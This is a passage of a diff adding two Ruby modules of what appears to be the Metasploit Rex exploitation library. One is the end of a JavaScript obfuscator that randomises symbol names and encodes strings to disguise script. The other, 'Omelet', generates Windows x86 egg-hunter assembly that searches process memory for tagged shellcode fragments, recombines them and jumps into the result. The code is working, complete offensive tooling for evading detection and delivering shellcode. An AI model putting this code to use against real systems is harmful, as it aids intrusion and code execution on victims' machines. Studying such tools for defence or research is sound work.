73
+ 'Symbols' => {
74
+ 'Variables'=>[],
75
+ 'Methods'=>[],
76
+ 'Namespaces'=>[],
77
+ 'Classes'=>[]
78
+ },
79
+ 'Strings'=>false
80
+ }
81
+ @done = false
82
+ update_opts(opts) if (opts.length > 0)
83
+ end
84
+
85
+ def update_opts(opts)
86
+ if (opts.nil? or opts.length < 1)
87
+ return
88
+ end
89
+ if (@opts['Symbols'] && opts['Symbols'])
90
+ ['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k|
91
+ if (@opts['Symbols'][k] && opts['Symbols'][k])
92
+ opts['Symbols'][k].each { |s|
93
+ if (not @opts['Symbols'][k].include? s)
94
+ @opts['Symbols'][k].push(s)
95
+ end
96
+ }
97
+ elsif (opts['Symbols'][k])
98
+ @opts['Symbols'][k] = opts['Symbols'][k]
99
+ end
100
+ }
101
+ elsif opts['Symbols']
102
+ @opts['Symbols'] = opts['Symbols']
103
+ end
104
+ @opts['Strings'] ||= opts['Strings']
105
+ end
106
+
107
+ #
108
+ # Returns the dynamic symbol associated with the supplied symbol name
109
+ #
110
+ # If obfuscation has not yet been performed (i.e. obfuscate() has not been
111
+ # called), then this method simply returns its argument
112
+ #
113
+ def sym(name)
114
+ @dynsym[name] || name
115
+ end
116
+
117
+ #
118
+ # Obfuscates the javascript string passed to the constructor
119
+ #
120
+ def obfuscate(opts = {})
121
+ #return @js if (@done)
122
+ @done = true
123
+
124
+ update_opts(opts)
125
+
126
+ if (@opts['Strings'])
127
+ obfuscate_strings()
128
+
129
+ # Full space randomization does not work for javascript -- despite
130
+ # claims that space is irrelavent, newlines break things. Instead,
131
+ # use only space (0x20) and tab (0x09).
132
+
133
+ #@js.gsub!(/[\x09\x20]+/) { |s|
134
+ # len = rand(50)+2
135
+ # set = "\x09\x20"
136
+ # buf = ''
137
+ # while (buf.length < len)
138
+ # buf << set[rand(set.length)].chr
139
+ # end
140
+ #
141
+ # buf
142
+ #}
143
+ end
144
+
145
+ # Remove our comments
146
+ remove_comments
147
+
148
+ # Globally replace symbols
149
+ replace_symbols(@opts['Symbols']) if @opts['Symbols']
150
+
151
+ return @js
152
+ end
153
+
154
+ #
155
+ # Returns the replaced javascript string
156
+ #
157
+ def to_s
158
+ @js
159
+ end
160
+ alias :to_str :to_s
161
+
162
+ def <<(str)
163
+ @js << str
164
+ end
165
+ def +(str)
166
+ @js + str
167
+ end
168
+
169
+ protected
170
+ attr_accessor :done
171
+
172
+ #
173
+ # Get rid of both single-line C++ style comments and multiline C style comments.
174
+ #
175
+ # Note: embedded comments (e.g.: "/*/**/*/") will break this,
176
+ # but they also break real javascript engines so I don't care.
177
+ #
178
+ def remove_comments
179
+ @js.gsub!(%r{\s+//.*$}, '')
180
+ @js.gsub!(%r{/\*.*?\*/}m, '')
181
+ end
182
+
183
+ # Replace method, class, and namespace symbols found in the javascript
184
+ # string
185
+ def replace_symbols(symbols)
186
+ taken = { }
187
+
188
+ # Generate random symbol names
189
+ [ 'Variables', 'Methods', 'Classes', 'Namespaces' ].each { |symtype|
190
+ next if symbols[symtype].nil?
191
+ symbols[symtype].each { |sym|
192
+ dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn)
193
+
194
+ taken[dyn] = true
195
+
196
+ if symtype == 'Classes'
197
+ full_sym = sym['Namespace'] + "." + sym['Class']
198
+ @dynsym[full_sym] = dyn
199
+
200
+ @js.gsub!(/#{full_sym}/) { |m|
201
+ sym['Namespace'] + "." + dyn
202
+ }
203
+ else
204
+ @dynsym[sym] = dyn
205
+
206
+ @js.gsub!(/#{sym}/, dyn)
207
+ end
208
+ }
209
+ }
210
+ end
211
+
212
+ #
213
+ # Change each string into some javascript that will generate that string
214
+ #
215
+ # There are a couple of caveats to using string obfuscation:
216
+ # * it tries to deal with escaped quotes within strings but won't catch
217
+ # things like: "\\"
218
+ # * depending on the random choices, this can easily balloon a short
219
+ # string up to hundreds of kilobytes if called multiple times.
220
+ # so be careful.
221
+ #
222
+ def obfuscate_strings()
223
+ @js.gsub!(/".*?[^\\]"|'.*?[^\\]'/) { |str|
224
+ buf = ''
225
+ quote = str[0,1]
226
+ # Pull the quotes off either end
227
+ str = str[1, str.length-2]
228
+ case (rand(2))
229
+ # Disable hex encoding for now. It's just too big a hassle.
230
+ #when 0
231
+ # # This is where we can run into trouble with generating
232
+ # # incorrect code. If we hex encode a string twice, the second
233
+ # # encoding will generate the first instead of the original
234
+ # # string.
235
+ # if str =~ /\\x/
236
+ # # Always have to remove spaces from strings so the space
237
+ # # randomization doesn't mess with them.
238
+ # buf = quote + str.gsub(/ /, '\x20') + quote
239
+ # else
240
+ # buf = '"' + Rex::Text.to_hex(str) + '"'
241
+ # end
242
+ when 0
243
+ #
244
+ # Escape sequences when naively encoded for unescape become a
245
+ # literal backslash instead of the intended meaning. To avoid
246
+ # that problem, we scan the string for escapes and leave them
247
+ # unmolested.
248
+ #
249
+ buf << 'unescape("'
250
+ bytes = str.unpack("C*")
251
+ c = 0
252
+ while bytes[c]
253
+ if bytes[c].chr == "\\"
254
+ # XXX This is pretty slow.
255
+ esc_len = parse_escape(bytes, c)
256
+ buf << bytes[c, esc_len].map{|a| a.chr}.join
257
+ c += esc_len
258
+ next
259
+ end
260
+ buf << "%%%0.2x"%(bytes[c])
261
+ # Break the string into smaller strings
262
+ if bytes[c+1] and rand(10) == 0
263
+ buf << '" + "'
264
+ end
265
+ c += 1
266
+ end
267
+ buf << '")'
268
+ when 1
269
+ buf = "String.fromCharCode( "
270
+ bytes = str.unpack("C*")
271
+ c = 0
272
+ while bytes[c]
273
+ if bytes[c].chr == "\\"
274
+ case bytes[c+1].chr
275
+ # For chars that contain their non-escaped selves, step
276
+ # past the backslash and let the rand() below decide
277
+ # how to represent the character.
278
+ when '"'; c += 1
279
+ when "'"; c += 1
280
+ when "\\"; c += 1
281
+ # For others, just take the hex representation out of
282
+ # laziness.
283
+ when "n"; buf << "0x0a"; c += 2; next
284
+ when "t"; buf << "0x09"; c += 2; next
285
+ # Lastly, if it's a hex, unicode, or octal escape,
286
+ # leave it, and anything after it, alone. At some
287
+ # point we may want to parse up to the end of the
288
+ # escapes and encode subsequent non-escape characters.
289
+ # Since this is the lazy way to do it, spaces after an
290
+ # escape sequence will get away unmodified. To prevent
291
+ # the space randomizer from hosing the string, convert
292
+ # spaces specifically.
293
+ else
294
+ buf = buf[0,buf.length-1] + " )"
295
+ buf << ' + ("' + bytes[c, bytes.length].map{|a| a==0x20 ? '\x20' : a.chr}.join + '" '
296
+ break
297
+ end
298
+ end
299
+ case (rand(3))
300
+ when 0
301
+ buf << " %i,"%(bytes[c])
302
+ when 1
303
+ buf << " 0%o,"%(bytes[c])
304
+ when 2
305
+ buf << " 0x%0.2x,"%(bytes[c])
306
+ end
307
+ c += 1
308
+ end
309
+ # Strip off the last comma
310
+ buf = buf[0,buf.length-1] + " )"
311
+ end
312
+ buf
313
+ }
314
+ @js
315
+ end
316
+
317
+ def parse_escape(bytes, offset)
318
+ esc_len = 0
319
+ if bytes[offset].chr == "\\"
320
+ case bytes[offset+1].chr
321
+ when "u"; esc_len = 6 # unicode \u1234
322
+ when "x"; esc_len = 4 # hex, \x41
323
+ when /[0-9]/ # octal, \123, \0
324
+ oct = bytes[offset+1, 4].map{|a|a.chr}.join
325
+ oct =~ /([0-9]+)/
326
+ esc_len = 1 + $1.length
327
+ else; esc_len = 2 # \" \n, etc.
328
+ end
329
+ end
330
+ esc_len
331
+ end
332
+ end
333
+
334
+ end
335
+ end
@@ -0,0 +1,320 @@
1
+ require 'rex/text'
2
+ require 'rex/arch'
3
+ require 'metasm'
4
+
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
12
+ #
13
+ # Written by corelanc0d3r <peter.ve@corelan.be>
14
+ #
15
+ ###
16
+ class Omelet
17
+
18
+ ###
19
+ #
20
+ # Windows-based eggs-to-omelet hunters
21
+ #
22
+ ###
23
+ module Windows
24
+ Alias = "win"
25
+
26
+ module X86
27
+ Alias = ARCH_X86
28
+
29
+ #
30
+ # The hunter stub for win/x86.
31
+ #
32
+ def hunter_stub
33
+ {
34
+ # option hash members go here (currently unused)
35
+ }
36
+ end
37
+
38
+ end
39
+ end
40
+
41
+ ###
42
+ #
43
+ # Generic interface
44
+ #
45
+ ###
46
+
47
+ #
48
+ # Creates a new hunter instance and acquires the sub-class that should
49
+ # be used for generating the stub based on the supplied platform and
50
+ # architecture.
51
+ #
52
+ def initialize(platform, arch = nil)
53
+ Omelet.constants.each { |c|
54
+ mod = self.class.const_get(c)
55
+
56
+ next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
57
+
58
+ if (platform =~ /#{mod.const_get('Alias')}/i)
59
+ self.extend(mod)
60
+
61
+ if (arch and mod)
62
+ mod.constants.each { |a|
63
+ amod = mod.const_get(a)
64
+
65
+ next if ((!amod.kind_of?(::Module)) or
66
+ (!amod.const_defined?('Alias')))
67
+
68
+ if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
69
+ amod = mod.const_get(a)
70
+
71
+ self.extend(amod)
72
+ end
73
+ }
74
+ end
75
+ end
76
+ }
77
+ end
78
+
79
+ #
80
+ # This method generates an eggs-to-omelet hunter using the derived hunter stub.
81
+ #
82
+ def generate(payload, badchars = '', opts = {})
83
+
84
+ eggsize = opts[:eggsize] || 123
85
+ eggtag = opts[:eggtag] || "00w"
86
+ searchforward = opts[:searchforward] || true
87
+ reset = opts[:reset]
88
+ startreg = opts[:startreg]
89
+ usechecksum = opts[:checksum]
90
+ adjust = opts[:adjust] || 0
91
+
92
+ return nil if ((opts = hunter_stub) == nil)
93
+
94
+ # calculate number of eggs
95
+ payloadlen = payload.length
96
+ delta = payloadlen / eggsize
97
+ delta = delta * eggsize
98
+ nr_eggs = payloadlen / eggsize
99
+ if delta < payloadlen
100
+ nr_eggs = nr_eggs+1
101
+ end
102
+
103
+ nr_eggs_hex = "%02x" % nr_eggs
104
+ eggsize_hex = "%02x" % eggsize
105
+
106
+ hextag = ''
107
+ eggtag.split('').each do | thischar |
108
+ decchar = "%02x" % thischar[0]
109
+ hextag = decchar + hextag
110
+ end
111
+ hextag = hextag + "01"
112
+
113
+ # search forward or backward ?
114
+ setflag = nil
115
+ searchstub1 = nil
116
+ searchstub2 = nil
117
+ flipflagpre = ''
118
+ flipflagpost = ''
119
+ checksum = ''
120
+
121
+ if searchforward
122
+ # clear direction flag
123
+ setflag = "cld"
124
+ searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
125
+ searchstub2 = "inc edx"
126
+ else
127
+ # set the direction flag
128
+ setflag = "std"
129
+ searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
130
+ searchstub2 = "dec edx"
131
+ flipflagpre = "cld\n\tsub esi,-8"
132
+ flipflagpost = "std"
133
+ end
134
+
135
+ # will we have to adjust the destination address ?
136
+ adjustdest = ''
137
+ if adjust > 0
138
+ adjustdest = "\n\tsub edi,#{adjust}"
139
+ elsif adjust < 0
140
+ adjustdest = "\n\tadd edi,#{adjust}"
141
+ end
142
+
143
+ # prepare the stub that starts the search
144
+ startstub = ''
145
+ if startreg
146
+ if startreg.downcase != 'ebp'
147
+ startstub << "mov ebp,#{startreg}"
148
+ end
149
+ startstub << "\n\t" if startstub.length > 0
150
+ startstub << "mov edx,ebp"
151
+ end
152
+ # a register will be used as start location for the search
153
+ startstub << "\n\t" if startstub.length > 0
154
+ startstub << "push esp\n\tpop edi\n\tor di,0xffff"
155
+ startstub << adjustdest
156
+ # edx will be used, start at end of stack frame
157
+ if not startreg
158
+ startstub << "\n\tmov edx,edi"
159
+ if reset
160
+ startstub << "\n\tpush edx\n\tpop ebp"
161
+ end
162
+ end
163
+
164
+ # reset start after each egg was found ?
165
+ # will allow to find eggs when they are out of order/sequence
166
+ resetstart = ''
167
+ if reset
168
+ resetstart = "push ebp\n\tpop edx"
169
+ end
170
+
171
+ #checksum code by dijital1 & corelanc0d3r
172
+ if usechecksum
173
+ checksum = <<EOS
174
+ xor ecx,ecx
175
+ xor eax,eax
176
+ calc_chksum_loop:
177
+ add al,byte [edx+ecx]
178
+ inc ecx
179
+ cmp cl, egg_size
180
+ jnz calc_chksum_loop
181
+ test_chksum:
182
+ cmp al,byte [edx+ecx]
183
+ jnz find_egg
184
+ EOS
185
+ end
186
+
187
+ # create omelet code
188
+ omelet_hunter = <<EOS
189
+
190
+ nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
191
+ egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
192
+ hex_tag equ 0x#{hextag} ; tag
193
+
194
+ #{setflag} ; set/clear direction flag
195
+ jmp start
196
+
197
+ ; routine to calculate the target location
198
+ ; for writing recombined shellcode (omelet)
199
+ ; I'll use EDI as target location
200
+ ; First, I'll make EDI point to end of stack
201
+ ; and I'll put the number of shellcode eggs in eax
202
+ get_target_loc:
203
+ #{startstub} ; use edx as start location for the search
204
+ xor eax,eax ; zero eax
205
+ mov al,nr_eggs ; put number of eggs in eax
206
+
207
+ calc_target_loc:
208
+ xor esi,esi ; use esi as counter to step back
209
+ mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
210
+
211
+ get_target_loc_loop: ; start loop
212
+ dec edi ; step back
213
+ inc esi ; and update ESI counter
214
+ cmp si,-1 ; continue to step back until ESI = -1
215
+ jnz get_target_loc_loop
216
+ dec eax ; loop again if we did not take all pieces
217
+ ; into account yet
218
+ jnz calc_target_loc
219
+
220
+ ; edi now contains target location
221
+ ; for recombined shellcode
222
+ xor ebx,ebx ; put loop counter in ebx
223
+ mov bl,nr_eggs+1
224
+ ret
225
+
226
+ start:
227
+ call get_target_loc ; jump to routine which will calculate shellcode dst address
228
+
229
+ ; start looking for eggs, using edx as basepointer
230
+ jmp search_next_address
231
+
232
+ find_egg:
233
+ #{searchstub1} ; based on search direction
234
+
235
+ search_next_address:
236
+ #{searchstub2} ; based on search direction
237
+ push edx ; save edx
238
+ push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
239
+ pop eax ; set eax to 0x02
240
+ int 0x2e
241
+ cmp al,0x5 ; address readable ?
242
+ pop edx ; restore edx
243
+ je search_next_address ; if addressss is not readable, go to next address
244
+
245
+ mov eax,hex_tag ; if address is readable, prepare tag in eax
246
+ add eax,ebx ; add offset (ebx contains egg counter, remember ?)
247
+ xchg edi,edx ; switch edx/edi
248
+ scasd ; edi points to the tag ?
249
+ xchg edi,edx ; switch edx/edi back
250
+ jnz find_egg ; if tag was not found, go to next address
251
+ ;found the tag at edx
252
+
253
+ ;do we need to verify checksum ? (prevents finding corrupted eggs)
254
+ #{checksum}
255
+
256
+ copy_egg:
257
+ ; ecx must first be set to egg_size (used by rep instruction) and esi as source
258
+ mov esi,edx ; set ESI = EDX (needed for rep instruction)
259
+ xor ecx,ecx
260
+ mov cl,egg_size ; set copy counter
261
+ #{flipflagpre} ; flip destination flag if necessary
262
+ rep movsb ; copy egg from ESI to EDI
263
+ #{flipflagpost} ; flip destination flag again if necessary
264
+ dec ebx ; decrement egg
265
+ #{resetstart} ; reset start location if necessary
266
+ cmp bl,1 ; found all eggs ?
267
+ jnz find_egg ; no = look for next egg
268
+ ; done - all eggs have been found and copied
269
+
270
+ done:
271
+ call get_target_loc ; re-calculate location where recombined shellcode is placed
272
+ cld
273
+ jmp edi ; and jump to it :)
274
+ EOS
275
+
276
+ the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
277
+
278
+ # create the eggs array
279
+ total_size = eggsize * nr_eggs
280
+ padlen = total_size - payloadlen
281
+ payloadpadding = "A" * padlen
282
+
283
+ fullcode = payload + payloadpadding
284
+ eggcnt = nr_eggs + 2
285
+ startcode = 0
286
+
287
+ eggs = []
288
+ while eggcnt > 2 do
289
+ egg_prep = eggcnt.chr + eggtag
290
+ this_egg = fullcode[startcode, eggsize]
291
+ if usechecksum
292
+ cksum = 0
293
+ this_egg.each_byte { |b|
294
+ cksum += b
295
+ }
296
+ this_egg << [cksum & 0xff].pack('C')
297
+ end
298
+
299
+ this_egg = egg_prep + this_egg
300
+ eggs << this_egg
301
+
302
+ eggcnt -= 1
303
+ startcode += eggsize
304
+ end
305
+
306
+ return [ the_omelet, eggs ]
307
+ end
308
+
309
+ protected
310
+
311
+ #
312
+ # Stub method that is meant to be overridden. It returns the raw stub that
313
+ # should be used as the omelet maker (combine the eggs).
314
+ #
315
+ def hunter_stub
316
+ end
317
+
318
+ end
319
+ end
320
+ end